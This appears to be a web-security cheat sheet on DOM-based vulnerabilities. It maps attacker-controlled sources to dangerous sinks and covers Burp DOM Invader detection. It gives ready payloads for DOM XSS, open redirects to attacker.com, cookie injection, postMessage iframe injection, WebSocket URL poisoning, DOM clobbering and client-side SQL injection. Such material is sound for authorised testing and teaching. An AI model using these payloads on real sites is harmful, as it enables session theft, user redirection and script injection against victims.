Web

DOM-Based Vulnerabilities

DOM-based vulnerability exploitation: sources (location, postMessage, document.referrer), sinks (innerHTML, eval, location.href, document.write), DOM XSS, open redirect, cookie manipulation, WebSocket URL poisoning, DOM clobbering, and Burp DOM Invader workflow.

What are DOM-Based Vulnerabilities

DOM-based vulnerabilities arise when JavaScript takes data from an attacker-controlled source and passes it to a dangerous sink without sanitisation. The processing happens entirely in the victim’s browser — the server never sees the malicious payload.


Sources and Sinks Reference

Common Sources (attacker-controlled inputs)

SourceExample
location.search?param=PAYLOAD
location.hash#PAYLOAD
location.hrefFull URL including query + hash
document.referrerValue of the HTTP Referer header
document.cookieCookie values
window.namePersists across navigation
postMessage dataCross-origin messages
localStorage / sessionStorageIf populated from untrusted input
WebSocket messagesIf relayed to DOM

Dangerous Sinks

SinkVulnerabilityExample
innerHTMLDOM XSSelement.innerHTML = source
outerHTMLDOM XSSelement.outerHTML = source
document.write()DOM XSSdocument.write(source)
eval()Code executioneval(source)
setTimeout(str)Code executionsetTimeout(source, 100)
setInterval(str)Code executionsetInterval(source, 100)
Function(str)Code executionnew Function(source)()
location.hrefOpen redirect + XSSlocation.href = source (if javascript:)
location.assign()Open redirectlocation.assign(source)
location.replace()Open redirectlocation.replace(source)
src attributeScript/image injectionscript.src = source
document.domainSOP weakeningdocument.domain = source
jQuery.html()DOM XSS$(selector).html(source)
jQuery.$()DOM XSS$(source) if source is HTML

Detection with DOM Invader (Burp)

  1. Open target in Burp’s built-in browser.
  2. Click the DOM Invader toolbar icon → Enable.
  3. DOM Invader injects a canary string into every source (URL params, hash, postMessage) and monitors all sinks for the canary.
  4. When a canary reaches a sink → DOM Invader pops an alert and reports the source→sink chain.
  5. Click Exploit in DOM Invader to auto-generate a PoC payload.

Manual JS source grep

In Burp Target → Site map, right-click host → Engagement tools → Find scripts. Then search for dangerous sinks:

grep -r "innerHTML\|document\.write\|eval(\|location\.href\|\.src\s*=" *.js

DOM XSS

Via location.search

https://TARGET/page?search="><img src=x onerror=alert(document.domain)>

Via location.hash

https://TARGET/page#"><img src=x onerror=alert(1)>

Via document.write with script context

If the source lands inside a <script> block:

https://TARGET/?param=";alert(1);//

Via jQuery html()

https://TARGET/#<img src=x onerror=alert(1)>

Via innerHTML (filter bypass — no script tag needed)

<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

DOM Open Redirect

If the app reads a URL from a source and navigates to it:

var next = new URLSearchParams(location.search).get('next');
location.href = next;

Test:

https://TARGET/?next=https://attacker.com
https://TARGET/?next=//attacker.com
https://TARGET/?next=javascript:alert(1)

The javascript: URL scheme executes code in the context of the current page when used as location.href.


If a source value is written into document.cookie:

document.cookie = 'lang=' + location.hash.slice(1);

Inject a cookie:

https://TARGET/#en; admin=true

If the app reads the admin cookie from document.cookie for access control → privilege escalation.


postMessage Vulnerabilities

Apps that use postMessage without origin checking allow cross-origin message injection.

Detection

In browser DevTools console, add a listener and send test messages:

// Listen to all postMessages on the page
window.addEventListener('message', function(e) {
  console.log('origin:', e.origin, 'data:', e.data);
});

Or inject via Burp’s browser — DOM Invader automatically tests postMessage sources.

Exploit: inject via iframe

<iframe src="https://TARGET/page" id="target"></iframe>
<script>
  document.getElementById('target').onload = function() {
    this.contentWindow.postMessage('<img src=x onerror=alert(document.cookie)>', '*');
  };
</script>

DOM WebSocket URL Poisoning

If a WebSocket URL is constructed from a source:

var wsUrl = 'wss://' + location.search.split('host=')[1] + '/chat';
var ws = new WebSocket(wsUrl);

Test:

https://TARGET/?host=attacker.com/malicious

Your server receives the WebSocket connection.


DOM Clobbering

DOM clobbering uses HTML elements to overwrite JavaScript variables — no <script> required. Named elements (id / name attributes) become properties of document and window.

If app code reads window.someVar or document.someVar and you can inject HTML:

<a id="someVar" href="javascript:alert(1)">click</a>

Or for nested properties (config.adminUrl):

<form id="config">
  <input id="adminUrl" value="https://attacker.com" />
</form>

Now config.adminUrl.valuehttps://attacker.com.

Escalate to XSS

If someVar is used as a URL in location.href or script.src:

<a id="config" href="javascript:alert(document.domain)">x</a>
<object id="config" data="javascript:alert(1)">

DOM-Based Client-Side SQL Injection

If the app uses Web SQL Database (deprecated but still found in older apps):

db.transaction(function(tx) {
  tx.executeSql('SELECT * FROM users WHERE name = "' + userInput + '"');
});

Inject via the source that feeds userInput:

?name=x" OR "1"="1

Burp Suite workflow

  1. DOM Invader (Burp browser) — enable; auto-discovers source→sink chains and generates PoC.
  2. Target → Engagement tools → Find scripts — extract all JS files; grep for dangerous sinks.
  3. Repeater — manually test URL parameters and fragments with canary strings; watch for reflection in responses.
  4. Scanner — active scan detects DOM XSS sinks automatically.
  5. Proxy → Match and Replace — inject canary strings into all query parameters to find reflections at scale.